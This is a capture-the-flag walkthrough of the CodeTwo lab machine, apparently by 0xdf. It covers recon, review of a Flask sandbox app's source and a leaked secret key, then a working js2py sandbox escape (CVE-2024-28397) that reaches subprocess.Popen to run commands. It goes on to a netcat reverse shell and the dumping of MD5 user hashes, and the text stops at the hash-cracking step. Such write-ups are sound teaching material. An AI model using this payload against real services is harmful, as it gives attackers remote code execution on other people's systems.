CodeTwo

CodeTwo is a Linux box hosting a developer sandbox where users can execute JavaScript code. The site uses js2py, which I’ll exploit via CVE-2024-28397 to escape the sandbox and get remote code execution. From there, I’ll find MD5 password hashes in the SQLite database and crack one to pivot to marco. Marco can run npbackup-cli with sudo, and I’ll abuse this to read files from root’s backup, including the SSH private key, which I’ll use to get a shell as root.

Box Info

Easy
Release Date 16 Aug 2025
Retire Date 31 Jan 2026
OS Linux Linux
Rated Difficulty Rated difficulty for CodeTwo
Radar Graph Radar chart for CodeTwo
User
00:03:02NLTE
Root
00:06:48celesian
Creator FisMatHack

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (8000):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.82
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-17 18:22 UTC
...[snip]...
Nmap scan report for 10.10.11.82
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2025-08-17 18:22:07 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
           Raw packets sent: 66197 (2.913MB) | Rcvd: 66044 (2.642MB)
oxdf@hacky$ nmap -p 22,8000 -sCV 10.10.11.82
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-17 18:23 UTC
Nmap scan report for 10.10.11.82
Host is up (0.091s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal.

Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Website - TCP 8000

Site

The website is a developer sandbox site:

image-20250817142640915

The “Download App” returns app.zip, which contains the site source. I’ll look at that in detail shortly.

There’s a login form, but no matter what I guess into it, it just returns “Invalid credentials”.

I’ll register an account and log in, landing at /dashboard:

image-20250817142915196

I’ll try some simple code like the placeholder and it seems to work:

image-20250817142959040

Tech Stack

The HTTP response headers show gunicorn, which is a webserver for Python applications running in frameworks such as Flask or FastAPI:

HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sun, 17 Aug 2025 18:22:56 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2184

On logging in, the page sets a cookie:

HTTP/1.1 302 FOUND
Server: gunicorn/20.0.4
Date: Sun, 17 Aug 2025 18:32:17 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 207
Location: /dashboard
Vary: Cookie
Set-Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6IjB4ZGYifQ.aKIgMQ.LmNZS5ST6u7rstThAf_gGrsDuVs; HttpOnly; Path=/

This is a Flask cookie, and can be decoded with flask-unsign:

oxdf@hacky$ flask-unsign -c eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6IjB4ZGYifQ.aKIgMQ.LmNZS5ST6u7rstThAf_gGrsDuVs -d
{'user_id': 3, 'username': '0xdf'}

The 404 page shows the default Flask 404:

image-20250817143134908

I don’t need to poke at this too more as I have the source. I’ll skip the directory brute force for now as well.

When I submit code, it goes in a POST request to /run_code:

POST /run_code HTTP/1.1
Host: 10.10.11.82:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.82:8000/dashboard
Content-Type: application/json
Content-Length: 27
Origin: http://10.10.11.82:8000
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6IjB4ZGYifQ.aKIgMQ.LmNZS5ST6u7rstThAf_gGrsDuVs
Priority: u=0

{"code":"var x = 223;\nx + 5;"}

The response has the result:

HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sun, 17 Aug 2025 18:33:07 GMT
Connection: close
Content-Type: application/json
Content-Length: 15

{"result":228}

Source Code

Files

I’ll unzip the app.zip and find a directory with an app.py as the main file:

oxdf@hacky$ ls
app.py  instance  requirements.txt  static  templates

There’s a SQLite database in instance:

oxdf@hacky$ file instance/users.db
instance/users.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2

It has two tables, but they are both empty:

oxdf@hacky$ sqlite3 instance/users.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
code_snippet  user

app.py

The entire application is in this one file. It starts with imports:

from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

The last two are not used (bad code). The first line, importing from flask, is all the functions to make the application run. SQLAlchemy is an ORM, something that connects the Python code to the DB without having to raw SQL. hashlib is used for logging in and registering. js2py is a library for running JavaScript in Python.

Next js2py calls disable_pyimport():

js2py.disable_pyimport()

js2py has a function pyimport which allows bringing Python modules into the JavaScript code. It would allow me to do something like this:

var os = pyimport('os');
var cwd = os.getcwd();
cwd;

However, because of this case, it doesn’t work on the site:

image-20250817152738741

Next the application and DB are initialized:

app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)

The secret key for the app is leaked, and if that’s the same one running on CodeTwo, I can use it to forge session cookies. It sets up the database connection and the two tables.

There are nine routes defined. / returns a static page. /dashboard validates that the user is logged in, and fills the template to include that user’s codes:

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
        return render_template('dashboard.html', codes=user_codes)
    return redirect(url_for('login'))

/login and /register handle those functions, using md5 hashes for user passwords. /logout just removed the user_id from the session:

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session['user_id'] = user.id
            session['username'] = username;
            return redirect(url_for('dashboard'))
        return "Invalid credentials"
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('index'))

/save_code and /delete_code just handle those DB interactions. /download only returns the app.zip file:

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' in session:
        code = request.json.get('code')
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({"message": "Code saved successfully"})
    return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
    return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
    if 'user_id' in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session['user_id']:
            db.session.delete(code)
            db.session.commit()
            return jsonify({"message": "Code deleted successfully"})
        return jsonify({"error": "Code not found"}), 404
    return jsonify({"error": "User not logged in"}), 401

/run_code uses the js2py function eval_js to run the user submitted code:

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

Library Versions

The requirements.txt file shows the needed libraries that are not in the Python standard library:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

It also gives the versions, which is common in production applications because the application only wants to be upgraded with proper testing.

Shell as app

CVE-2024-28397 Background

Understand Need

Code I submit is being directly passed to js2py and run. There is a sandbox in place to prevent my from getting access to the underlying OS. For example, I can try to use the child_process module to run OS commands, but it fails:

image-20250817151921600

Without access to modules, there’s no straight-forward way to run OS commands.

Identify CVE

Searching for vulnerabilities in js2py returns a bunch of stuff about CVE-2024-28397:

image-20250817152012683

CVE Background

The issue with passing user input into a code interpreter is breakouts from the sandbox the interpreter provides. In this case, js2py doesn’t use a JavaScript engine like V8, but rather converts a limited set of JS syntax into Python that is executed and the results are collected and returned.

The escape is possible when the attacker can get access some of the code Python objects that then give access to things intended to be blocked. This is very similar to the kinds of payloads from server-side template injection (SSTI), and similar to the sandbox escape from Code (I showed how I found that one in this video).

There are many POCs for this vulnerability on GitHub (such as this one), and they all involve sending JS that’s similar to this:

// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator; kcalc; "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

POC Demo

I’ll take a look at this in a Python terminal using the --with flag for uv (see my uv cheatsheet). I also have to use --python 3.11, as there’s a bug in js2py that at the time of CodeTwo’s release isn’t pushed out to PyPI breaking js2py on 3.12 (and 3.13):

oxdf@hacky$ uv run --with js2py==0.74 --python 3.11 python
Python 3.11.12 (main, Apr  9 2025, 04:04:00) [Clang 20.1.0 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 

The payload works to get back to the Python Object class:

>>> js2py.eval_js("""Object.getOwnPropertyNames({})""")
dict_keys([])
>>> js2py.eval_js("""Object.getOwnPropertyNames({}).__getattribute__""")
<method-wrapper '__getattribute__' of dict_keys object at 0x7d272375ccd0>
>>> js2py.eval_js("""Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")""")
<method-wrapper '__getattribute__' of dict_keys object at 0x7d27236a6470>
>>> js2py.eval_js("""Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__")""")
<class 'dict_keys'>
>>> js2py.eval_js("""Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__""")
<class 'object'>

It works through getting an empty dict_keys([]) object, which is then used to get the __getattribute__ method. I’m not sure why it does that again, but then it gets a reference to the dict_keys class, and then uses the __base__ attribute to get up to the object class.

The object class can get all loaded subclasses, which will be all of them:

>>> js2py.eval_js("""Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__.__subclasses__()""")
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>, <class '_virtualenv._Finder'>, <class 'ast.AST'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.nonmember'>, <class 'enum.member'>, <class 'enum._auto_null'>, <class 'enum.auto'>, <class 'enum._proto_member'>, <enum 'Enum'>, <class 'enum.verify'>, <class 'ast.NodeVisitor'>, <class 'dis._Unknown'>, <class 'dis.Bytecode'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 're._parser.State'>, <class 're._parser.SubPattern'>, <class 're._parser.Tokenizer'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'rlcompleter.Completer'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class '__future__._Feature'>, <class 'unicodedata.UCD'>, <class 'pyjsparser.pyjsparserdata.Token'>, <class 'pyjsparser.pyjsparserdata.Syntax'>, <class 'pyjsparser.pyjsparserdata.Messages'>, <class 'pyjsparser.pyjsparserdata.PlaceHolders'>, <class 'pyjsparser.std_nodes.BaseNode'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._KW_ONLY_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pyjsparser.parser.PyJsParser'>, <class 'importlib._abc.Loader'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'six._LazyDescr'>, <class 'six._SixMetaPathImporter'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'js2py.translators.translating_nodes.LoopController'>, <class 'js2py.translators.translating_nodes.InlineStack'>, <class 'js2py.translators.translating_nodes.ContextStack'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'js2py.translators.translator.match_unumerator'>, <class 'textwrap.TextWrapper'>, <class 'traceback._Sentinel'>, <class 'traceback.FrameSummary'>, <class 'traceback._ExceptionPrintContext'>, <class 'traceback.TracebackException'>, <class 'js2py.base.PyJs'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'js2py.internals.simplex.PyJsUndefined'>, <class 'js2py.internals.simplex.PyJsNull'>, <class 'js2py.internals.base.PyJs'>, <class 'js2py.internals.base.SpaceTuple'>, <class 'js2py.internals.space.Space'>, <class 'js2py.internals.prototypes.jsboolean.BooleanPrototype'>, <class 'js2py.internals.prototypes.jserror.ErrorPrototype'>, <class 'js2py.internals.prototypes.jsfunction.FunctionPrototype'>, <class 'js2py.internals.prototypes.jsnumber.NumberPrototype'>, <class 'js2py.internals.prototypes.jsobject.ObjectPrototype'>, <class 'js2py.internals.prototypes.jsregexp.RegExpPrototype'>, <class 'js2py.internals.prototypes.jsstring.StringPrototype'>, <class 'js2py.internals.prototypes.jsarray.ArrayPrototype'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'js2py.internals.constructors.jsmath.MathFunctions'>, <class 'js2py.internals.constructors.jsobject.ObjectMethods'>, <class 'js2py.internals.opcodes.OP_CODE'>, <class 'js2py.internals.code.Code'>, <class 'js2py.internals.code.FakeCtx'>, <class 'js2py.internals.byte_trans.ByteCodeGenerator'>, <class 'js2py.internals.constructors.jsconsole.ConsoleMethods'>, <class 'js2py.base.JsObjectWrapper'>, <class 'js2py.prototypes.jsfunction.FunctionPrototype'>, <class 'js2py.prototypes.jsobject.ObjectPrototype'>, <class 'js2py.prototypes.jsnumber.NumberPrototype'>, <class 'js2py.prototypes.jsregexp.RegExpPrototype'>, <class 'js2py.prototypes.jsstring.StringPrototype'>, <class 'js2py.prototypes.jsboolean.BooleanPrototype'>, <class 'js2py.prototypes.jsarray.ArrayPrototype'>, <class 'js2py.prototypes.jserror.ErrorPrototype'>, <class 'js2py.prototypes.jsarraybuffer.ArrayBufferPrototype'>, <class 'js2py.prototypes.jstypedarray.TypedArrayPrototype'>, <class 'js2py.evaljs.EvalJs'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.TemporaryDirectory'>, <class 'js2py.constructors.jsmath.MathFunctions'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'zoneinfo._common._TZifHeader'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseConstants'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'pathlib._Flavour'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing._NotIterable'>, typing.Any, <class 'typing._PickleUsingNameMixin'>, <class 'typing._BoundVarianceMixin'>, <class 'typing.Generic'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.NewType'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.resources.abc.ResourceReader'>, <class 'importlib.resources._adapters.SpecLoaderAdapter'>, <class 'importlib.resources._adapters.TraversableResourcesLoader'>, <class 'importlib.resources._adapters.CompatibilityFiles'>, <class 'js2py.constructors.jsdate.DateProto'>, <class 'js2py.constructors.jsobject.ObjectMethods'>]

The POC creates a function to loop over these looking for the subprocess.Popen method. Once it finds it, it calls it, passing in the given command, and then calls communicate on the result to get the output.

I can try the given payload locally (changing the cmd to just “id”):

>>> payload = """
... let cmd = "id;"
... let hacked, bymarve, n11
... let getattr, obj
... 
... hacked = Object.getOwnPropertyNames({})
... bymarve = hacked.__getattribute__
... n11 = bymarve("__getattribute__")
... obj = n11("__class__").__base__
... getattr = obj.__getattribute__
... 
... function findpopen(o) {
...     let result;
...     for(let i in o.__subclasses__()) {
...         let item = o.__subclasses__()[i]
...         if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
...             return item
...         }
...         if(item.__name__ != "type" && (result = findpopen(item))) {
...             return result
...         }
...     }
... }
... 
... n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
... console.log(n11)
... n11
... """ 
>>> js2py.eval_js(payload)
[b'uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)\n', b'']
[b'uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)\n', b'']

It works.

Remote Exploit

Initial Failure

I’ll put the POC (with the command changed to “id”) into CodeTwo and submit, and it fails:

image-20250819205906621

Blind

It’s not clear if this is failing before or after the command is executed. A quick check is to do something out of bounds, like a ping. I’ll update my payload and run it:

image-20250819210436794

It fails just the same way, but at tcpdump listening for ICMP on my host, there’s an incoming packet:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:04:04.543185 IP 10.10.11.82 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 64
01:04:04.543212 IP 10.10.14.6 > 10.10.11.82: ICMP echo reply, id 1, seq 1, length 64

That’s evidence of execution.

Get Visibility

I could go right from execution to a reverse shell, but it’s fun to try to get output from my commands.

I’ll take a look at the code on CodeTwo again:

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

The output of eval_js is stored as result, which is passed into the Flask function jsonify. If I look at result in my terminal, it’s a list of two byte strings. Those may not serialize well. The first item is STDOUT:

image-20250819210754527

I’ve updated the code to just print the STDOUT, and now it’s erroring that bytes are not JSON serializable! That’s progress. I’ll decode it, and it works:

image-20250819210847817

That’s the output of the ping command! It works.

Shell

I’ll update the command to a bash reverse shell:

image-20250819211003297

On submitting, there’s a connecting at my listening nc:

oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.82 52682
bash: cannot set terminal process group (894): Inappropriate ioctl for device
bash: no job control in this shell
app@codetwo:~/app$ 

I’ll upgrade the shell using the standard trick:

app@codetwo:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
app@codetwo:~$ ^Z
[1]+  Stopped                 sudo nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
sudo nc -lnvp 443
                 reset
reset: unknown terminal type unknown
Terminal type? screen
app@codetwo:~$

Shell as marco

Enumeration

Users

app’s home directory has the website application and not much else:

app@codetwo:~$ ls -la
total 32
drwxr-x--- 5 app  app  4096 Apr  6 03:22 .
drwxr-xr-x 4 root root 4096 Jan  2  2025 ..
drwxrwxr-x 6 app  app  4096 Aug 18 10:40 app
lrwxrwxrwx 1 root root    9 Oct 26  2024 .bash_history -> /dev/null
-rw-r--r-- 1 app  app   220 Oct 20  2024 .bash_logout
-rw-r--r-- 1 app  app  3771 Oct 20  2024 .bashrc
drwxrwxr-x 3 app  app  4096 Oct 31  2024 .cache
drwx------ 6 app  app  4096 Oct 20  2024 .local
lrwxrwxrwx 1 root root    9 Nov 17  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 app  app   807 Oct 20  2024 .profile
lrwxrwxrwx 1 root root    9 Oct 26  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root    9 Oct 31  2024 .sqlite_history -> /dev/null

There’s one other user on the box with a home directory in /home:

app@codetwo:/home$ ls
app  marco

This matches the users with shells set in passwd:

app@codetwo:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

Website

The website is located in the app directory in the user’s home directory (which is super unrealistic):

app@codetwo:~/app$ ls
app.py  instance  __pycache__  requirements.txt  static  templates

The code matches what I already downloaded. I’ll take a look at the database:

app@codetwo:~/app$ file instance/users.db 
instance/users.db: SQLite 3.x database, last written using SQLite version 3031001
app@codetwo:~/app$ sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>

There are two tables:

sqlite> .tables
code_snippet  user

code_snippet is empty, and user has two users:

sqlite> select * from user;       
id|username|password_hash
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

My user isn’t even there (there must be some cleanup script running periodically).

Shell

Crack Hash

